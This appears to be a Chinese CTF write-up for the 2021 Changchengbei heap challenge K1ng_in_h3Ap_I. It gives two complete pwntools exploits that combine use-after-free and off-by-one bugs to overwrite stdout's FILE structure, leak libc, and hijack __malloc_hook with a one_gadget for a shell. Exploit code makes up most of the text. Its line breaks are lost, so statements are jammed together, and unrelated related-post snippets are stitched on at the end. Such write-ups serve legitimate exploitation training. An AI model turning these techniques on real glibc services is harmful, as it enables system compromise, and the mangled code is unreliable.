libc是2.23

菜单

add

free
显然是有uaf。

edit
就是输入

输入函数其实还有off by one。

有个后门

我们的思路就是简单的说因为有uaf但是没有show,所以我们就直接攻击stdout,但是又因为后门给了我们地址,所以就解决了爆破这个问题。然后就攻击IO_FILE泄露libc,再攻击malloc_hook就好啦。

第一个exp是利用off by one来构造的。
exp

from pwn import *r = process("./pwn1")context.arch='amd64'elf=ELF("./pwn1")
libc=ELF("./libc.so.6")def add(index,size):r.sendlineafter(">> \n",'1')r.sendlineafter("input index:\n",str(index))r.sendlineafter("input size:\n",str(size))
def free(index):r.sendlineafter(">> \n",'2')r.sendlineafter("input index:\n",str(index))
def edit(index,context):r.sendlineafter(">> \n",'3')r.sendlineafter("input index:\n",str(index))r.sendlineafter("input context:\n",context)
def gift():r.sendlineafter(">> \n",'666')gift()
stdout = int(r.recv(8),16) + 0xc04620 - 0x894810add(0,0x28)
add(1,0x30)
add(2,0x60)
add(3,0x20)
edit(0,'a'*0x28+'\xb1')
free(1)
free(2)
add(4,0x30)
edit(2,p64(stdout-0x43)[0:2])
add(5,0x60)
add(6,0x60)
edit(6,'a'*3+p64(0) * 6 + p64(0xfbad1877) + p64(0) * 3 + '\x58')libc_base=u64(r.recv(6).ljust(8,b'\x00'))-131-libc.sym['_IO_2_1_stdout_']
free_hook=libc_base+libc.sym['__free_hook']system = libc_base+libc.sym['system']
malloc_hook = libc_base+libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4527a
realloc = libc_base+libc.sym['realloc']add(7,0x60)
add(8,0x60)
free(8)
edit(8,p64(malloc_hook-0x23))
add(0,0x60)
add(1,0x60)
edit(1,'a'*11 + p64(one_gadget) + p64(realloc+13))add(2,0x20)r.interactive()

第二个exp没有使用off by one,仅仅用uaf来构造攻击IO_FILE的chunk。
exp

from pwn import*context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']def add(index, size):r.sendlineafter(">> \n", "1")r.sendlineafter("input index:\n", str(index))r.sendlineafter("input size:\n", str(size))def delete(index):r.sendlineafter(">> \n", "2")r.sendlineafter("input index:\n", str(index))def edit(index, content):r.sendlineafter(">> \n", "3")r.sendlineafter("input index:\n", str(index))r.sendlineafter("input context:\n", content)def exp():r.sendlineafter(">> \n", "666")r.recvuntil("0x")s = int(r.recv(6), 16) + 0x36fe10 - 0x43print hex(s)add(0, 0x80)add(1, 0x80)add(2, 0x68)add(3, 0x68)add(4, 0x68)add(5, 0x68)delete(0)delete(1)delete(2)add(0, 0xf0)edit(0, 'a' * 0x80 + p64(0) + p64(0x1e1))delete(1)add(6, 0x80)delete(6)add(6, 0x90)edit(6, 'a' * 0x80 + p64(0) + p64(0x71))edit(2,  p16(s & 0xffff))add(6, 0x68)add(7, 0x68)edit(7, '\x00' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + '\x58') libc_base = u64(r.recvuntil('\x7f')[-6:] + '\x00\x00') - 0x3c56a3print "libc_base = " + hex(libc_base)print "success!"malloc_hook = libc_base + libc.sym['__malloc_hook']realloc = libc_base + libc.sym['realloc']delete(4)edit(3, p64(malloc_hook - 0x23))add(3, 0x60)add(4, 0x60)edit(4,'a'*11 + p64(one_gadget) + p64(realloc+13))add(5,0x20)r.interactive()r = process('./pwn1')
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")exp()

但是其实人家原题的意思可能是想用house of roman。
但是我感觉没啥用。

要注意的是一个坑
在设置flag标志位的时候要设置成0xfbad1877,否则会没输出。

2021 长城杯 pwn K1ng_in_h3Ap_I相关推荐

  1. 2021长城杯pwn部分wp

    前言: 就, 除了vmpwn都是基础glibc的heap题 king_in_heap_1: delete函数没有把free后的指针置零, 存在uaf, 然后用unsortedbin的fd指向io结构体 ...

  2. 2021 长城杯ctf wp

    2021 长城杯 wp Misc 签到 你这flag保熟吗 Crypto baby_rsa Reverse Just_cmp funny_js Web java_url ez_python Pwn K ...

  3. 2021长城杯 RE

    Just_cmp-re 猜测就是在init_array的地方修改了strcmp enc = [0x00,0x00,0x00,0x00,0x00,0x37,0x07,0x0A,0x37,0x0A,0x0 ...

  4. 2021天翼杯 密码官方wp

    2021天翼杯 crypto TryHash 审计题目代码,题目给出了一个feistel结构的加密算法,密钥长度为8字节.用随机生成的密钥对flag进行了加密.攻击者可以提供一段明文让服务器用同样的密 ...

  5. 2021羊城杯CTF wp

    2021羊城杯(部分)wp ​Web web1 only 4 web2 EasyCurl web3 Checkin_Go web4 Cross The Side Re Pwn BabyRop Cryp ...

  6. 2021祥云杯PassWordBox_ProVersion

    目录 前言: 程序分析 大致思路: 利用链: _IO_wfile_overflow _IO_wfile_underflow_mmap: exp: 前言: 复现一下2021祥云杯PassWordBox_ ...

  7. 2021 绿城杯 wp

    2021 绿城杯 wp Web ezcms ezphp Misc [warmup]⾳频隐写 Re easyre Crypto RSA1 [warmup]加密算法 Pwn null_pwn uaf Gr ...

  8. 2021 祥云杯 pwn-JigSaw’sCage

    2021 祥云杯 pwn-JigSaw'sCage 这道题属实是没有发现漏洞点在哪里,所以看了一下wm的wjh师傅的wp,发现漏洞出现下图 v1是int,但scanf是ld,所以溢出了4个字节,这就导 ...

  9. 2021 祥云杯 pwn-PassWordBox_ProVersion

    2021 祥云杯 pwn-PassWordBox_ProVersion 这里就没有off by null了,size也只能是large bin的,那肯定就是large bin attack了,libc ...

最新文章

  1. Android事件总线还能怎么玩?
  2. 人员梯度培养_关键人才的梯队培养
  3. Javascript 评估用户输入密码的强度
  4. python 格式话-占位符
  5. python编程if语法-Python编程入门基础语法详解经典
  6. PacketTracer 5.2基于AAA的Easy ×××实验
  7. web程序部署常见(404)错误
  8. android安装python opencv_MacLinux环境在Android Studio中安装OpenCV
  9. 带你搞明白什么是缓存穿透、缓存击穿、缓存雪崩
  10. 3d vision可以卸载吗_金属粉末可以用于3D打印,但这些知识你了解吗?
  11. 项目中有出现过缓存击穿,简单说说怎么回事?
  12. python读取excel数据生成word_利用Python将excel数据读取到word表格
  13. google 游戏下载
  14. qca wifi相关操作命令
  15. elementui3
  16. log日志输出到文件:
  17. java河南口腔医疗机构线上服务系统计算机毕业设计MyBatis+系统+LW文档+源码+调试部署
  18. 软件学报投稿论文格式模板
  19. 南加大计算机专业本科sat要求,南加州大学本科申请条件有哪些?
  20. Weex生态质量建设

热门文章

  1. 华为手机丢了定位怎么利用查找设备定位找到丢失被盗华为准确位置?
  2. 用例子解释事件模型和事件代理
  3. python生成带背景 带文字 的二维码图片
  4. 深入分析websocket协议,从3个方面设计网络应用层协议丨网络编程|网络IO|epoll|socket|网络协议丨c/c++linux服务器开发
  5. 交叉编译 SQLite
  6. 微信公众号如何关联答题活动小程序
  7. 如何将MacBook Pro投屏到电视上(相同局域网、免安装)(1分钟)
  8. ec20 复位命令_EC20模块开启SIM卡热插拔及重启模块AT命令
  9. VS 链接问题 warning C4273: dll 链接不一致
  10. 关于PGD(映射式梯度下降)对抗训练的理解